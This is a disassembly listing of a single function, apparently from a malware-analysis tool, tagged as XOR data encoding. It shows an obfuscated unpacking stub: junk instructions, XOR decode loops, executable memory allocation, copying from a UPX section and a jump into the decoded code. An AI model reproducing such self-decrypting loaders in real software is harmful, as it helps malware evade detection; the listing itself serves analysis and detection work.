Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x1089700f
mov ebx, 0x4d5ba304
and edi, edi
not ebx
popal
mov edi, 0x45279990
and edi, ebx
and edi, ebx
mov esi, 0
mov ebx, eax
sub edx, ecx
add ecx, edx
not ecx
mov edi, ebx
mov ecx, edx
mov ecx, edx
mov eax, edi
mov ecx, edx
or ecx, ecx
add ecx, 0x6fea3308
inc esi
mov ecx, edx
add edx, edx
and ecx, ecx
cmp esi, 0x1000849
jne 0x47afd6
add edx, 0x759a1e69
dec ecx
cmp esi, 0x1000849
je 0x47b019
mov ebx, 0
mov al, byte [ebx]
add ecx, ecx
add edx, 1
dec ebx
mov ebx, 0xe2b5ef34
mov edx, 0x47ada2
inc ecx
not eax
not esi
mov ebx, 0x47af96
dec esi
mov eax, ecx
sub ecx, 0xfd96a89f
mov edi, dword [edx]
sub eax, 0x193d5e4a
add esi, 0xacfb066b
and edi, 0xff
not eax
sub eax, 0xe85dc24
add ecx, eax
xor dword [ebx], edi
and ecx, eax
not esi
add esi, eax
inc ebx
sub ecx, 0x392b1b7
inc esi
add edx, 1
add eax, esi
add eax, eax
mov esi, ecx
cmp ebx, entry0
jl 0x47b03f
mov esi, eax
add ecx, 0x7d18b53e
add eax, 1
sub ecx, eax
mov ecx, 0x9adc8b4e
or esi, esi
add esi, 0x98339cb2
mov esi, 0x10fca393
mov edx, 0x47af9a
and edi, esi
add edi, 0x99762539
mov ecx, 0x79aab97b
mov edx, dword [edx]
sub ecx, 1
sub ecx, ebx
mov edx, dword [edx]
or edi, edi
add ebx, 0x896fc4a8
push edx
and edi, esi
add edi, 1
or ecx, edi
mov edx, 0x47af96
and esi, edi
mov ebx, 0x8e6a1bb9
mov edx, dword [edx]
or ebx, esi
mov ebx, 0xbbdae84e
and ecx, esi
mov edx, dword [edx]
sub ecx, 0x5f6d8613
or esi, esi
push 0x47af9e
add esi, 1
add ecx, 0x22f5aad6
call edx
not ebx
add edi, 1
dec edi
pop edx
sub ebx, edi
add ecx, 0xa5d1ebbc
mov ecx, ebx
push 0x47afab
mov ecx, esi
mov edi, 0xda91fac1
or ecx, edi
sub esp, 4
mov dword [esp], eax
sub esi, 0x25a66c9b
dec ecx
call edx
inc ecx
sub edi, 0xb95cc533
dec esi
push 0x40
add esi, 0xcd624908
sub edi, 0x23e3f446
push 0x3000
not esi
or ebx, ecx
push 0x2000063e
and edi, ecx
dec edi
and ebx, ecx
sub esp, 4
mov dword [esp], 0
sub edi, 0x2646c0fc
add edi, 0x9dd5ec7f
call eax
sub ecx, 0x58d8b175
mov ecx, 0x4b263231
add eax, 0x200005d1
mov esi, 0x90baf6e6
sub edi, ebx
mov edx, 0x651a4c87
mov esi, edi
sub ecx, ebx
or esi, ecx
mov dword [eax], edx
sub edi, 0x8aed52ec
add ecx, 1
inc ebx
mov edx, dword [eax]
add ecx, 0x9bc62089
dec esi
cmp edx, 0x651a4c87
je 0x47b1cb
mov ecx, 0
mov ebx, dword [ecx]
not ecx
and ecx, edi
add esi, 1
add esi, ebx
inc edi
add ebx, 0xa3c1d65f
mov eax, section.UPX1
or ebx, ebx
sub ebx, edi
dec ebx
mov edx, 0x47ada1
mov ebx, edi
mov ebx, edi
not edi
mov esi, 0
sub ebx, 0x94a4d1f9
add ebx, ebx
sub ebx, edi
mov ecx, 0x47ada2
dec ebx
add ebx, edi
lea ecx, [ecx + esi]
not ebx
not ebx
sub edi, ebx
mov ecx, dword [ecx]
and edi, ebx
inc edi
and ecx, 0xff
mov edi, ebx
sub ebx, 0x717474e7
and ebx, ebx
inc esi
mov ebx, 0xc49f98f6
sub ebx, edi
cmp esi, 0x1f4
jne 0x47b23d
mov esi, 0
sub edi, 0x4c995b65
sub ebx, edi
not ebx
mov ebx, edi
xor dword [eax], ecx
sub edi, ebx
mov edi, 0xe0904618
sub edi, ebx
add eax, 2
and edi, edi
sub edi, 0xecb33b64
cmp eax, edx
jl 0x47b202
inc edi
inc ebx
not ebx
mov ebx, edi
and ebx, ebx
mov ebx, section.UPX1
not edi
add edx, 0x469f694b
mov ecx, section.UPX1
sub edi, 1
mov edx, edi
mov esi, 0x47ada1
add edx, edi
sub edx, 0x92804694
mov eax, 0
sub edi, edx
sub edx, edi
mov al, byte [ecx]
add edi, edi
sub edx, edi
mov byte [ebx], al
mov edi, edx
not edi
add edi, edx
inc ebx
mov edi, 0xf05fa087
add edi, edx
and edi, edx
add ecx, 2
add edi, edi
mov edx, 0xfb81a404
cmp ecx, esi
jle 0x47b2a2
mov edi, edx
mov edx, 0x2aa850dc
not edx
dec edi
sub ebx, edi
sub ebx, edi
sub esp, 4
mov dword [esp], 0x45e6a0
mov edi, 0xf50aa0c3
dec edi
mov edi, 0xa8c17e6f
ret